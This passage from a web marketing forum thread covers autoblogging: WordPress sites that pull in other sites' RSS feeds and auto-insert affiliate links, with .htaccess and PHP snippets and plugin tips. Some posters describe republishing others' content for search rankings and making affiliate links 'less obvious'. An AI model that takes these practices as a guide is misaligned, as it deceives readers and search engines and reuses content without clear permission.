      Or, they can just ask ME about MY method here or via PM. If you want to get people to consult with, you can try starting your own thread, buddy! I'm sure you want to help, but this reads like poaching. All this stuff is free, you can add to it right here if you want to. No need to get your programmer involved (unless he wants to participate in this open discussion here).

      Originally Posted by bubbavine View Post

      I know this is the lazy approach to getting a question answered.. but this thread is so long and I have to run (will check answers tonight)..

      Using this method - does it matter if you if you build your blogs (webpages) around a .com or .info (only .99)... since from what I've read so far you really aren't counting on generic seo traffic ( I think I'm right in saying that)..

      Didn't know if it mattered if/when you decided to sale/flip the site????
      If you can't bother to read the thread, why should I be bothered to answer your question? However, you're lucky in that you've asked something that HASN'T been asked before, so I'll give you a pass. On one condition though - go back and read the whole thread. Lots of folks have spent their own time to contribute here, and I'm ALL for laziness, but all you need to do is read it. It's free!

      For the domains, it makes no difference on the technical side. A .com or a .info will work equally well. When you go to FLIP the site, it all depends on what the buyer THINKS matters. Some folks hate .info. However, if the site is performing well, no one who knows their stuff will care. If you're buying domains to use this method for FAST flipping (ie, turning over the sites when they're brand new) I'd recommend a .com just to avoid the prejudice.

      Originally Posted by wealthmaker2008 View Post

      Hey Keith thanks a lot for all the great information. I am going to put this all together in the next hour. I will let you know how it works out.
      Thanks. Glad you like it. Please let me know how it works, or if you have any questions.
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  • Profile picture of the author ztws
    Anyone been able to come up with some good places to get RSS feeds based on keyword searches? The problem I have is that some of keyword based feeds return results totally not related to the keyword.
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  • Profile picture of the author d3m0nb0y
    Eh, excuse me if I am wrong, but doesn't the easiest was to get to the front of the search engine is unique content??
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  • Profile picture of the author Ouroboros
    I thought I'd take a minute to give you my experience with activating the go_code plugin on some of my blogs today. Actually the plugin is dead simple to install and implement, it's the .htaccess files that can have you pulling your hair out!

    First of all, let me explain that I have hostgator and multiple domains and subdomains installed on my server.

    If you have a wordpress install within a domain AND you've set the permalinks settings from within your WP control panel, you'll have an .htaccess file WITHIN THAT (SUB)DOMAIN. You won't see it in the legacy file manager but it shows up in the new file manager in cPanel. This is what it looks like:

    # BEGIN Wordpress
    <IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteBase /
    RewriteCond %{REQUEST_FILENAME} !-f
    RewriteCond %{REQUEST_FILENAME} !-d
    RewriteRule . /index.php [L]
    </IfModule>
    # END Wordpress

    In the documentation for the go codes, it says do this:

    Place the following code in your .htaccess file, above the line that says "# BEGIN WordPress":
    `RewriteEngine On
    RewriteRule ^go/([a-zA-Z0-9_-]*)/?$ /index.php?gocode=$1 [L,R]
    This example assumes your blog is located at the root of your domain. If your blog is located at yourdomain.com/blog/, then you should change "/index.php" to "/blog/index.php".

    If that works for you, great! It didn't work for me!! Instead, just copy and paste the Line beginning with RewriteRule here:

    # BEGIN Wordpress
    <IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteBase /
    RewriteRule ^go/([a-zA-Z0-9_-]*)/?$ /index.php?gocode=$1 [L,R]
    RewriteCond %{REQUEST_FILENAME} !-f
    RewriteCond %{REQUEST_FILENAME} !-d
    RewriteRule . /index.php [L]
    </IfModule>
    # END Wordpress

    If it's in the same directory as the Wordpress install, don't mess with that "/blog/index.php" crap.

    That should fix the problem, if not just ask me and I'll try to help.

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  • Profile picture of the author JustAskLeah
    Keith,

    Just had to say THANK YOU for this great thread and to everyone who has contributed.

    I have literally spent my whole day reading EVERYTHING here in this post and taking notes.

    This all sounds really great and I will spend tomorrow implementing it and will post the results and any questions here so other Warriors can benefit as well.

    Anyway, thanks again and I too would be interested in any WSO you put out on this so keep us posted!

    Leah
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  • Profile picture of the author briank99
    One of the things that I like about Caffeinated Content for WordPress (CC4W) is that it adds a picture to each post automatically. I don't even have to look for the pictures. It just does it. I don't know how.

    I have tried to find a plugin that would search and automatically add a photo to each of the wp-o-matic posts. It has to be possible because CC4W does it. Does anyone know of such a plugin?

    Of course, free would be very good. I tried looking on the web (google) but really couldn't find anything. Photodropper is nice but you have to physically go back then search and add the photo. That's not automatic.

    I don't know about you but posts with photos always seem more appealing.

    Thanks.
    Brian
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    • Profile picture of the author Keith Kogane
      Originally Posted by JustAskLeah View Post

      Keith,

      Just had to say THANK YOU for this great thread and to everyone who has contributed.

      I have literally spent my whole day reading EVERYTHING here in this post and taking notes.

      This all sounds really great and I will spend tomorrow implementing it and will post the results and any questions here so other Warriors can benefit as well.

      Anyway, thanks again and I too would be interested in any WSO you put out on this so keep us posted!

      Leah
      You're welcome, Leah. Thanks for your kind words. Please let me know if you have any questions and let us know how it goes for you!

      Originally Posted by briank99 View Post

      One of the things that I like about Caffeinated Content for WordPress (CC4W) is that it adds a picture to each post automatically. I don't even have to look for the pictures. It just does it. I don't know how.

      I have tried to find a plugin that would search and automatically add a photo to each of the wp-o-matic posts. It has to be possible because CC4W does it. Does anyone know of such a plugin?

      Of course, free would be very good. I tried looking on the web (google) but really couldn't find anything. Photodropper is nice but you have to physically go back then search and add the photo. That's not automatic.

      I don't know about you but posts with photos always seem more appealing.

      Thanks.
      Brian
      Hey Brian,

      I was looking for something similar and, I just found this the other day. It may help:

      WordPress › Auto Post Images (API) WordPress Plugins

      I haven't used it myself yet, and it's not quite what Caffeinated does, but I intend to work it into my method depending on testing. Basically, you need to get a bunch of images in advance, but they would get automatically added to posts in sequence (at least, that's what it says it does).

      So it's not fully automated, in that it requires prep work. However, that's true of this entire method, really. The real "work" here is in the setup, and the first few weeks of tweaking the feeds to make sure you're getting relevant content. Once you're done with the tweaks and all that, you never need to touch them again. (At least in my experience).

      Okay, back to work!
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      • Profile picture of the author Alminc
        I am looking for some good plugin that can
        automatically post videos to specified categories.
        It should pull the videos, that match given keywords,
        from video sites like youtube, metacafe, dailymotion, etc.

        One such plugin is 'organic blog poster' but it conflicts
        with seo permalink structure and they still don't have the fix
        for it ( you must have the default url structure in WP with
        this plugin).

        If you know of any automated video plugin that works
        without conflicts please post it here.

        Almin
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    • Profile picture of the author moodykitty
      Originally Posted by briank99 View Post

      One of the things that I like about Caffeinated Content for WordPress (CC4W) is that it adds a picture to each post automatically. I don't even have to look for the pictures. It just does it. I don't know how.

      I have tried to find a plugin that would search and automatically add a photo to each of the wp-o-matic posts. It has to be possible because CC4W does it. Does anyone know of such a plugin?

      Of course, free would be very good. I tried looking on the web (google) but really couldn't find anything. Photodropper is nice but you have to physically go back then search and add the photo. That's not automatic.

      I don't know about you but posts with photos always seem more appealing.

      Thanks.
      Brian
      You can try MightyAdsense plugin. It works great for automatically adding images, ads, whatever you can think of. It can do a lot more than just auto insert adsense.
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      • Profile picture of the author moodykitty
        Originally Posted by Carl Pruitt View Post

        Thanks. Sniplet's is a good plugin, but what I'm trying to do is add, in addition to the automatic article/news post campaigns, another campaign to the one's in WP-O-Matic so that each separate ebay auction creates a new post with the auction title as the subject. It doesn't seem to do that if I'm reading correctly although I do have plenty of other uses for it.

        I've been setting up sites for quite a while where I come up with the keyword title for the post and then the post will have 10 ebay auctions that update automatically each time (as phpbay, bayrss, wordbay, etc. do), but I want these to be automatic posts with just one auction each. I know that others are using WP-O-Matic for this purpose to build product only sites, but I want to incorporate it into the techniques described in this thread for SEO purposes.
        Just curious, why would you want a post with the auction title as the subject? Once the auction is over the post will be pretty much useless, right? or am I missing something?
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        • Profile picture of the author Carl Pruitt
          Originally Posted by moodykitty View Post

          Just curious, why would you want a post
          with the auction title as the subject? Once the auction is over
          the post will be pretty much useless, right? or am I missing
          something?
          The auction title still gets searched for so you pick up a lot
          of "accidental" long tail keywords that keyword research could
          never turn up. I also go back and add a list of current auctions
          within the same post with BayRSS.

          I have gotten WP-O-Matic to pull the feed once, but then I have
          to delete it and start over if I want to fetch it again. So I
          have just been going ahead and fetching a 100 at a time. It has
          really juiced up the traffic to the site.
          Edit: Using Google Reader I've been able to create Atom feeds that work really well with WP-O-Matic and I can add the BayRSS code to the custom template so that each post has constantly updating up to date auctions.
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  • Profile picture of the author briank99
    Keith,

    Thank you I will give Auto Post Images a look.

    But what do you mean "it requires prep work"? You promised us in the beginning that you were lazier than that!

    Brian
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    • Profile picture of the author Keith Kogane
      Originally Posted by briank99 View Post

      Keith,

      Thank you I will give Auto Post Images a look.

      But what do you mean "it requires prep work"? You promised us in the beginning that you were lazier than that!

      Brian
      Lol, too true.

      Also, just found this. Again, haven't tried it myself, but may be a better option than the previous one. This one does random images from a pre-uploaded directory:

      WordPress › Random Image widget WordPress Plugins
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      • Profile picture of the author vicone
        I'm interested in installing a plugin that will post articles at pre-determined times. This will give more variety to the content than using only RSS. For instance, pre-loading 30 articles could provide supplementary material for several months.

        One program I've come across is Wordpress Article Import Plugin. From the website:

        WordPress Plugin to mass-import articles from zip file uploaded by the user. Plugin allows you to upload zip archive containing blog posts that will appear on your blog with certain delay (configurable at uploading). Plugin supports override codes for title, name, excerpt, category, date and time. Article import from server folder is also possible.
        It can be seen here:

        WordPress Article Import Plugin &mdash; Webous Agency

        Does anyone know a better/cheaper alternative?

        Ivan
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        • Profile picture of the author Lee MacRae
          [QUOTE=vicone;294517]I'm interested in installing a plugin that will post articles at pre-determined times. Ivan[/QUOT

          Wordpress Article Import Plugin and another one by the name of ZipPoster [which I've tried] both work by uploading a zip file as you mention. The problem is that a number of web hosting companies won't allow you to upload a zip file for security reasons through this kind of wp plugin. ZipPoster has a small list of some hosts that will allow it, others may turn on the capability and some won't allow it on shared hosting.

          I am interested if anyone has another solution for this kind of article poster as well.
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    Banned
    Wow! Very Clever.
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    • Profile picture of the author timpears
      I was about to give up on this internet marketing but this has given me new hope. I have to be gone for a few days but when I get back I will spend some more time with this and hopefully figure out how to do this blogging thing and who knows maybe make a couple of bucks doing it. I appreciate all the information that has been freely given here.
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  • Profile picture of the author Ouroboros
    One of our members here has a plugin for 'drip-feeding' articles into your blog. The WSO is closed, but you might PM her and find out more.

    http://www.warriorforum.com/warrior-...te-closed.html
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  • Profile picture of the author Carl Pruitt
    This is sort of a corollary to this technique, so I thought I would bring it up since there are several creative problem solvers in this thread and it could be used right alongside the process described in this thread.

    I am told that WP-O-Matic can also be used to import affiliate linked RSS feeds of eBay auctions as posts. I've tried it but WP-O-Matic won't process the eBay RSS feeds as they come straight out of EPN. Somebody recommended that I try to run the feed through Feedburner and use that feed, but it still doesn't fetch any posts. Anyone have any ideas about this?
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    • Profile picture of the author ironwood
      Originally Posted by Carl Pruitt View Post

      This is sort of a corollary to this technique, so I thought I would bring it up since there are several creative problem solvers in this thread and it could be used right alongside the process described in this thread.

      I am told that WP-O-Matic can also be used to import affiliate linked RSS feeds of eBay auctions as posts. I've tried it but WP-O-Matic won't process the eBay RSS feeds as they come straight out of EPN. Somebody recommended that I try to run the feed through Feedburner and use that feed, but it still doesn't fetch any posts. Anyone have any ideas about this?

      I use a free plugin called Sniplets. You can download it here.
      Sniplets Plugin - Insert text, include AdSense, highlight code, run PHP | Urban Giraffe

      I use this plugin along with the free phpbay to bring in eBay ads to all the posts. It will even post the eBay ads to previous posts. I have used it on sites where I have over 400 previous article posts and it went back and posted the eBay ads on all of them.

      The downside is because it is automatic it will post the same ads on every post. However because the eBay ads change very frequently I don't find this as a problem. Ideally I would like to put a slightly different catagory of eBay ad on each post but in line with this super thread that Keith has given us as being as near automatic as possible I can live with the shortcomings of this plugin.

      Sniplets will post nearly anything you want in your posts.

      Chet Hastings
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      • Profile picture of the author Carl Pruitt
        Originally Posted by ironwood View Post

        I use a free plugin called Sniplets. You can download it here.
        Sniplets Plugin - Insert text, include AdSense, highlight code, run PHP | Urban Giraffe

        I use this plugin along with the free phpbay to bring in eBay ads to all the posts. It will even post the eBay ads to previous posts. I have used it on sites where I have over 400 previous article posts and it went back and posted the eBay ads on all of them.

        The downside is because it is automatic it will post the same ads on every post. However because the eBay ads change very frequently I don't find this as a problem. Ideally I would like to put a slightly different catagory of eBay ad on each post but in line with this super thread that Keith has given us as being as near automatic as possible I can live with the shortcomings of this plugin.

        Sniplets will post nearly anything you want in your posts.

        Chet Hastings
        Thanks. Sniplet's is a good plugin, but what I'm trying to do is add, in addition to the automatic article/news post campaigns, another campaign to the one's in WP-O-Matic so that each separate ebay auction creates a new post with the auction title as the subject. It doesn't seem to do that if I'm reading correctly although I do have plenty of other uses for it.

        I've been setting up sites for quite a while where I come up with the keyword title for the post and then the post will have 10 ebay auctions that update automatically each time (as phpbay, bayrss, wordbay, etc. do), but I want these to be automatic posts with just one auction each. I know that others are using WP-O-Matic for this purpose to build product only sites, but I want to incorporate it into the techniques described in this thread for SEO purposes.
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        • Profile picture of the author Chris_L
          Keith,

          Thank you for starting this thread and taking the time to answer our questions.

          I finally got all the elements working together now using wp-o-matic, cron, and gocodes. The blog is grabbing new RSS feeds everyday and the keywords in wp-o-matic are linking to the correct affiliate links through gocodes.

          However, on many occassions, after wp-o-matic grabbed the RSS feeds, I found more great keywords. I quickly added the new keywords to wp-o-matic but wp-o-matic would not create new links for those new keywords. It would only generate new links whenever it runs another new RSS feed.

          How do you instruct wp-o-matic to generate new keyword links on old RSS feeds?

          Thanks.

          Chris
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          • Profile picture of the author Keith Kogane
            Originally Posted by Chris_L View Post

            Keith,

            Thank you for starting this thread and taking the time to answer our questions.

            I finally got all the elements working together now using wp-o-matic, cron, and gocodes. The blog is grabbing new RSS feeds everyday and the keywords in wp-o-matic are linking to the correct affiliate links through gocodes.

            However, on many occassions, after wp-o-matic grabbed the RSS feeds, I found more great keywords. I quickly added the new keywords to wp-o-matic but wp-o-matic would not create new links for those new keywords. It would only generate new links whenever it runs another new RSS feed.

            How do you instruct wp-o-matic to generate new keyword links on old RSS feeds?

            Thanks.

            Chris
            WP-O-Matic inserts the links at the time it creates the posts. It actually hard-codes the links into the post, so when you add new stuff, it'll only add them to new posts that get created.

            I wouldn't worry too much about going back to the old posts, since those posts have already spread after you first published. Just add to the blog whenever you think of new stuff. Let it grow over time.

            If you really want to put links on your site globally (in your archive too) you can use SEO Smart Linker. However, that plugin inserts the links at the time the blog renders. They don't actually appear in your post content in the database.

            I haven't tested enough to know the significance of that, but it's an important distinction between the way those plugins work.

            Hope that helps!
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  • Profile picture of the author Giraffe-SEO
    Thanks for the fantastic info Keith. I was keen to do something similar earlier this year but was put off by various articles & opinions. Great to hear your method works. I have a test site up and running already. Got a few questions....

    1) Do you aim for a main keyword (and have that as your domain name) then create categories for all secondary keywords?

    2) Do you name each category the same as the keyword?

    3) How many categories do you have on average?

    Thanks again for this excellent thread!

    Ant
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  • Profile picture of the author JustAskLeah
    Wow, everything took me a little longer than most to get set up and going but I FINALLY got wp-o-matic, cron, and gocodes working together beautifully but it was more challenging than I initially expected.

    I have also learned from this experience how not all RSS feeds are equal in how they distribute information. This was also a learning experience for me in learning how to modify my own RSS feeds...for my purposes I want to make sure my FULL RSS feed is available...but other times you may only want deliver a partial. So, having a quality source of RSS feeds would be really really helpful to get started with...hint hint for that upcoming quality WSO!

    Just a quick side note to those of you who blatantly jumped the gun and made some rather quick and harsh criticism about this thread...go back and take the time to read this exhaustive thread then take the time to contribute something useful. Any technique can be used for the wrong purpose, but, correct me if I'm wrong, I didn't get that impression at all and I can see where everyone truly benefits using this model.

    Anyway, thanks again Keith and everyone here for taking the time to share and contribute to this thread...it's why Warriors Rock!

    Kindest regards...Leah
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    • Profile picture of the author djleon1
      Thank - This is great info.

      I have WPOM up and loaded with feeds and then it went and posted 165 of the same posts (thankfully as drafts). I had to delete wpom to access the site to find this out. I have searched for a solution to what I am doing wrong but have no idea. I did not set up cron and thought I had it set up to fetch once a day.

      Is the the problem the number of post I have set to fetch (10) or the number of feeds for the campaign (3).

      This is the second time I had this issue. I am sure the answer is staring me in the face but am lost atm.

      Thanks
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      • Profile picture of the author trieke
        Keith and everyone else here,

        Thanks again for all the great info in this thread.

        One thing I found is that the rewrite function will
        replace words and links in your urls and as a result
        it render them useless. One person suggested using
        the Cross Linker plugin to correct this issue.

        Here is an alternate solution that I figured out today.
        It is by using Regular Expressions to narrow down on
        only the keyword. So for example, if your keyword is
        "herbal" then in the Orgin box you can use this
        expression:

        / herbal /

        Note the space before and after the keyword, you will
        need these spaces so that it will replace only the word
        "herbal" when it's used in a sentence and not other forms
        of the word "herbal" such as "herbalife". These spaces
        also will keep you from destroying any urls because you
        won't have any spaces in any urls.

        I hope this tip is of value for all.

        Oh and one quick question, if I may.

        Does anyone have a solution for the fact that when
        you rewrite the word it trims out any spaces in the
        resulting content?

        For example, if your sentence is:

        This all natural herbal product is amazing.

        when you rewrite it turns into:

        This all naturalherbalproduct is amazing.

        I have tried putting spaces before and after the
        word in the Rewrite to: box but it still trims out the
        spaces. I have spent some time googling no luck in
        finding a solution.

        thanks again,
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      • Profile picture of the author Tim Dixon
        Originally Posted by djleon1 View Post

        Thank - This is great info.

        I have WPOM up and loaded with feeds and then it went and posted 165 of the same posts (thankfully as drafts). I had to delete wpom to access the site to find this out. I have searched for a solution to what I am doing wrong but have no idea. I did not set up cron and thought I had it set up to fetch once a day.

        Is the the problem the number of post I have set to fetch (10) or the number of feeds for the campaign (3).

        This is the second time I had this issue. I am sure the answer is staring me in the face but am lost atm.

        Thanks
        I've found this is caused by the 'Pingback' box being selected in the campaign.

        Tim
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  • Profile picture of the author Ouroboros
    Have you tried using the HTML code "&nbsp;" ?

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    • Profile picture of the author trieke
      Originally Posted by Ouroboros View Post

      Have you tried using the HTML code "&nbsp;" ?

      Steve
      thanks steve,

      In my search I found where others said it didn't work. However, I went ahead and tried it myself. It doesn't work, also when you enter it into the Rewrite To: box and then hit submit and go back you see that it is automatically removed by the plugin.

      Do you see the spaces in your posts? Maybe it's just me?

      Or maybe I need to wrap it in a tag??
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      • Profile picture of the author Chris_L
        Maybe try something like this?

        natural\sherbal\sproduct
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        • Profile picture of the author Chris_L
          Thanks Keith for answering my previous questions.

          I have found a great plugin to help me add keyword links after the post was published.

          http://wordpress.org/extend/plugins/...tic-seo-links/

          I like the fact that it only creates a link for the first keyword match in a post so the link wouldn't look too spamming to viewers and google.

          ~Chris

          Edit: I forgot to check if the links are hard coded. They are not. The links are inserted dynamically whenever the blog is viewed. So, it might not fly well with search engines.
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      • Profile picture of the author trieke
        Originally Posted by trieke View Post

        thanks steve,

        In my search I found where others said it didn't work. However, I went ahead and tried it myself. It doesn't work, also when you enter it into the Rewrite To: box and then hit submit and go back you see that it is automatically removed by the plugin.

        Do you see the spaces in your posts? Maybe it's just me?

        Or maybe I need to wrap it in a tag??
        As a follow up; the html tag "&nbsp;" did the trick. I left it alone and when I came back to check my site the spaces were there.

        So thank you Steve;

        And now for a big Thank You to Keith. My first site is finished except for tweaking my RSS feeds and then ultimately submitting it to the ping and RSS directories. I can't believe how easy this was in the end to setup and how slick this works. I am very excited to see how this site performs over time. Now to move on to site number two.
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  • Profile picture of the author Eric Stanley
    Does the Gocodes plugin automatically scan for the word you specify and then turn it into the link (the URL you enter in the config)?
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    • Profile picture of the author Carl Pruitt
      Originally Posted by newyorktrader View Post

      Does the Gocodes plugin automatically scan for the word you specify and then turn it into the link (the URL you enter in the config)?
      No, Gocodes just helps you create redirects to, among other things, make the affiliate links less obvious within the posts.

      WP-O-Matic scans for the keyword and replaces it with the links as it creates the posts. Other plugins can do this as well if you want to go back to old posts and create links.
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      • Profile picture of the author Eric Stanley
        [quote=Carl Pruitt;306038]No, Gocodes just helps you create redirects to, among other things, make the affiliate links less obvious within the posts.

        EDIT: Got what I needed! Thanks!
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  • Profile picture of the author Allegro
    my advice to everyone looking for submission is the same keith gave me: google for it. when i googled it when keith told me to do it, i didnt get great results, but i googled last night and in the meantime some great blogposts have been made about rss-submission.
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  • Profile picture of the author Allegro
    plus, i am developing my own business model on this one.

    aff-marketing meets autoblogging meets site-flipping. i just have to bring some cash up to buy some of the key-plugins that will bring the "real" automation - for example the autosocial poster pro plugin, as well as the plugin that automatically sells and publishes 125x125 ads.

    then you can just compile everything in a folder, upload it, add the rss feeds, submit the page to rss and blog directories and sell them. i think im going to do an info product on that one...

    Keith you should hurry up finishing your autoblogging product, so i can use the freebie to assemble a list that i can sell your product to
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  • Profile picture of the author Chris_L
    After you grabbed the RSS Feed, do you guys change their links to point to your affiliate products. For example, an RSS Feed has a link pointing to a book that's on sale at Amazon. Do you guys alter the link to add your affiliate code?

    I know I should read every RSS Feed's TOS. But have you tried to read them? It's like written in a foreign language. :confused:

    I'm not looking to break any laws. Just curious what you guys take on this.

    Sorry if this question is too obvious. This RSS Feed stuff is still very new to me.

    ~Chris
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  • Profile picture of the author Magy
    Keith,
    Thanks for that great tips. I will finish my school exams and i will try that! I just imagine that thing with ~100 blogs! Well, i will start when i have some times, it seems so easy to cover a lot of niches.
    And it can give me more strengh to join a CPA Network : all good!

    I have some questions before starting

    -When we submit our RSS feed to some websites, they are ok if our content is only about others feeds? Or i must check if they allow that?
    -When you speak about "every place possible". We really need to dig the whole web to find a lot of places? or maybe 40-50 places will be enough? I am lost when i havent numbers
    -The ping list only help to rank faster? I have found a lot of list on the web but everytime, i see some ping url that ping to others sites in the list and so, everytime we will ping the same site even if we dont see the same url in the list (things like pingomatic that pings others websites) So if we can see only small differences beetween small and big pinglist i will go for a small.
    Well, so, if you can just give some numbers about your pinglist and to how many sites you submit, it will be great.
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  • Profile picture of the author HeySal
    BIG WET SMOOCH, Kieth,

    I just had to take my blog off a server and was trying to figure out what
    the heck to do with it as I don't have time for it - but it's really a shame
    to have a great domain just sitting. This is perfect for it.

    Merci Beaucoup mon ami.

    Oh - and by the way. I think you gave out MUCH more info than you had to and think you deserve a big gold star (along with the big wet smooch) for revealing ebook quality info for free here. Class act by all definitions.
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    • Profile picture of the author vicone
      The posts here and in Keith's original outline concerned RSS feeds that were basically news items.

      That seems to be a bit of a waste of an opportunity. If the RSS feed consisted of details about relevant products for sale there is a chance of a sale. Many websites have been built using data feeds but these can be a bit cumbersome to set up.

      A good choice for an automated system is a WP plugin that takes feeds automatically and allows some administrative guidance through a panel as to product, mix of merchants, and number of posts.

      A WP plug that can do this is Affiliate Datafeed Profit System at:

      The Affiliate Datafeed Profit System Version 2

      From the website:

      "How to build a WordPress Website that grows automatically... mixes content to create unique posts... and can earn you money 24 hours a day"
      It costs only $79, is easy to set up and will drip feed posts according to your own schedule.

      Ivan
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      • Profile picture of the author Alminc
        Hi everybody,

        I've set up two test blogs and most essential things seem to work ok.

        ------------------------------------------------------------------
        Here are some tips for those who are willing to pay some money for automatization:

        I purchased folowing plugins( not affiliate links below, just free info):

        1. WP Traffic ($147)

        three plugins:
        *one for rss( wp-rssaggregator), tested
        one for automated article posting, not tested yet
        one for automated social bookmarking (similar to auto social poster but with much less options, I wouldn't recommend this plugin since there's only option for 1 account per bookmarking site).

        2. MaxBlogPress Ninja Affiliate plugin : MaxBlogPress Ninja Affiliate :: WordPress Affiliate Link Tracking Plugin
        ($97). Worth every cent, fantastic plugin, easy to use and has many options. You can even limit number of redirected links per post.

        The combination : wp-rssagregator + ninja affiliate achieves same goal as the combination wpomatic+gocodes and I had no issues at all. No messing with .htaccess code(gocode) and no messing with urls in the database(wpomatic and search based feeds).

        You pull the rss feeds with wp-rss aggregator and you use ninja affiliate to rewrite keywords and to redirect links.

        It costs some money but it works like a charm.

        Wpomatic can be used along with wp-rssaggregator for non-search based(direct) feeds. I recommend it since it has better shedulling options than wp-rssaggregator ( wp-rssaggregator cannot be shedulled per campaign, it's same cron shedule for all campaigns). Those two plugins work fine together and compliment each other.


        And here's one more tip for better rankings in search engines:

        Wordpress produces .php files by default, but you can make them
        to appear as .html files.

        Use custom configuration for permalinks (settings/permalinks) and
        make it something like this:

        /%category%/%postname%.html

        You can have any configuration you like, just make it end with
        /%postname%.html


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        Now, I have some other questions that either Keith or someone else may answer:


        1. What do you think about the 'static frontpage' model? (the homepage is a static page, and the posts are posted into 'blog' section). I thought that it may be a good model since you can write a longer home page to promote a product or affiliate program.

        2. Auto Social Poster plugin: I tested that plugin and it reports more than a half of submissions as 'failed' . For example: 'login error' or ' couldn't connect to the site' or 'error while posting'. I double checked all my logins to social bookmarking sites manually and they are ok, but ASP reports failed submissions.

        Any experiences, suggesstions for improvement?

        3. Where to buy a best plugin that can manage selling banner ads directly?

        4. Do you have any experiences with 'uniquefier' plugin? It's supposed to make the content unique in the eyes of search engines but I read both good and bad comments about it...

        5. Do you know of any good software for automatic/semiautomatic RSS feed submission?

        6. Could you please suggest some free/paid wp themes that would be good for this kind of automated blogs?


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    • Profile picture of the author vicone
      1. For RSS submissions, have a look at RSS Submit, available from:

      ksoft- RSS Submit - Software to Easily Submit Your RSS Feeds

      That's not an affiliate link.

      For a WP Theme, Flexibility theme presents well and has many options for display that are easy to select. It's free and can be downloaded here:

      Flexibility Theme for WordPress

      Ivan
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      • Profile picture of the author Alminc
        Thanks Vicone, I'l check it.


        I just found one great post that can be of use for all of us:
        http://www.warriorforum.com/main-int...-part-1-a.html


        And here is another tip.

        I learned this myself yesterday, but I want to share it with you
        in this great thread.

        The easiest way to place ads or whatever you want on your blog
        is by using widgets.

        Widgets can only be placed in 'dynamic sidebars' (widgetized areas).
        Now, don' let the word 'sidebars' confuse you, it's just a term that
        addresses the area where you can place widgets. It doesn't have
        to be a sidebar, you can also use the area above or below the
        main content area, along with the areas in the sidebars.

        The problem is that not all themes are widgetized, and even if the
        theme is widgetized ( has dynamic sidebars) you may want to add
        more areas where you can place your widgets.

        Here is how to create dynamic sidebars where you want them to be.

        Open the file functions.php which is located in the themes folder.
        You will find some code similar to the code below:

        Code:
         
        <?php
        if ( function_exists('register_sidebars') )
        register_sidebar();
        ?>
        By default it shows something like the code above. You can register MORE dynamic sidebars by putting the code like this:


        Code:
        <?php
        if ( function_exists('register_sidebars') )
        register_sidebar('2′);
        register_sidebar('3′);
        register_sidebar('4′);
        ?>

        You can add the numbers as you go. You start with 2 if the sidebar 1 is already defined, with 3 if the sidebar 2 is defined, etc.

        You just add ' register_sidebar('X'); where X is the number of the sidebar you want to add.


        After registering new sidebars you need to define areas in your theme
        where you want to place widgets.

        Just open the file ( e.g. footer.php, header.php or sidebar.php) and place the following code where you want the widgets to appear:

        Code:
        <?php if ( function_exists('dynamic_sidebar') && dynamic_sidebar(X) ) : else : ?>
         
        <?php endif; ?>
        Replace 'X' with the number of the sidebar you just registered.

        Depending on the theme you use, you will maybe need to add some
        css styling. Just look at the existing boxes in the file and make it same.

        It may look like this:

        Code:
         
         <?php if ( function_exists('dynamic_sidebar') && dynamic_sidebar(1) ) : else : ?>
         
          <li id="categories">
          <h2>Categories</h2>
           <ul>
            <?php wp_list_categories('sort_column=name&title_li='); ?>
           </ul>
          </li>
         
          <li id="archives">
          <h2>Archives</h2>
           <ul>
            <?php wp_get_archives('type=monthly'); ?>
           </ul>
          </li>
         
          <li id="links">
          <h2>Links</h2>
           <ul>
            <?php wp_list_bookmarks('title_li=&categorize=0'); ?>
           </ul>
          </li>
         
           <?php endif; ?>

        The code above means following: If you don't place any widgets in that sidebar then categories, archives and links will be displayed using the themes style sheet. If you place widgets in that sidebar, then only those widgets will be displayed, also using the themes style sheet.

        Now , in your admin area, when you go to Design/widgets, there
        is a drop-down menu below the title Current Widgets.

        You will see your new sidebars in the drop-down menu and you can now place widgets in those new areas.

        In this way you can use e.g. text widgets to place the adsense boxes or banners wherever you created new dynamic sidebars. You just put the adsense code or banners code in the text widget and then place that text widget where you want.


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        • Profile picture of the author laurieslegends
          Originally Posted by Alminc View Post

          Thanks Vicone, I'l check it.


          I just found one great post that can be of use for all of us:
          http://www.warriorforum.com/main-int...-part-1-a.html


          And here is another tip.

          I learned this myself yesterday, but I want to share it with you
          in this great thread.

          The easiest way to place ads or whatever you want on your blog
          is by using widgets.

          Widgets can only be placed in 'dynamic sidebars' (widgetized areas).
          Now, don' let the word 'sidebars' confuse you, it's just a term that
          addresses the area where you can place widgets. It doesn't have
          to be a sidebar, you can also use the area above or below the
          main content area, along with the areas in the sidebars.
          Actually, they can be placed in posts. Last night I spent about 3 hours, downloading and checking over almost 200 plugins for wordpress that all have been created this year.

          I was looking for specific tools to add more control to my new article directory wordpress sites. Things like duplicate content filtering, word count, etc...

          I plan on reviewing all of these, dropping out the ones that are a waste of time, and adding my comments to a support forum for customers who buy these sites created by me.

          Anyhow, there was a plugin that allows you to put widgets in posts and pages, I will have to get back to you later, after I find it and test it out. But it is out there.

          I accidently stumbled upon an awesome way to find the newest wordpress plugins, a different place than the list at their repository.

          Laurie

          PS to the guy above about not giving all the info, I am just saying I know there is one, I won't recommend or link to it until I have a chance to check it out in more depth.
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          • Profile picture of the author Evita
            Originally Posted by laurieslegends View Post


            Anyhow, there was a plugin that allows you to put widgets in posts and pages, I will have to get back to you later, after I find it and test it out. But it is out there.
            Yeah!?!

            Well....what is it??? That sounds seriously useful...

            Don't let this be a cliff hanger..................aaarrrrrrgh......{thud}

            ;-)

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  • Profile picture of the author laurieslegends
    It is a great post, thanks Keith. I wish I could find a video showing step by steps on the wp-o-matic setup and workings, I have had problems similar to the one described above, getting it all to work out right.

    Laurie
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  • Profile picture of the author Anthony Smith
    good business model, but why give your idea to us mere mortals
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  • Profile picture of the author jasonl70
    People who cry about others publishing their feeds need to realize that RSS feeds are for syndicating your content.

    If you don't want to syndicate it, don't publicly publish the feeds. There are plug-ins that allow you to require anyone accessing your feed to be registered to your blog and signed in. At that point, dictate your TOS.

    But don't publicy publish a feed then get upset when it's actually used for what it was developed for - syndicating your articles/posts to other sites.

    Whether or not that is what you wish to use it for, that is what it is. It would make just as much sense as releasing a press release - then crying when it get's published. Or complaining that your article on EA is being published on other sites..

    Me - I have no problems with my feeds being grabbed by others. I drop links to my sites throughout my feeds, and hope they spread everywhere! THIS IS WHAT MAKES RSS SO GREAT FOR SEO!

    rant over
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    • Profile picture of the author Melody
      Originally Posted by jasonl70 View Post

      People who cry about others publishing their feeds need to realize that RSS feeds are for syndicating your content.

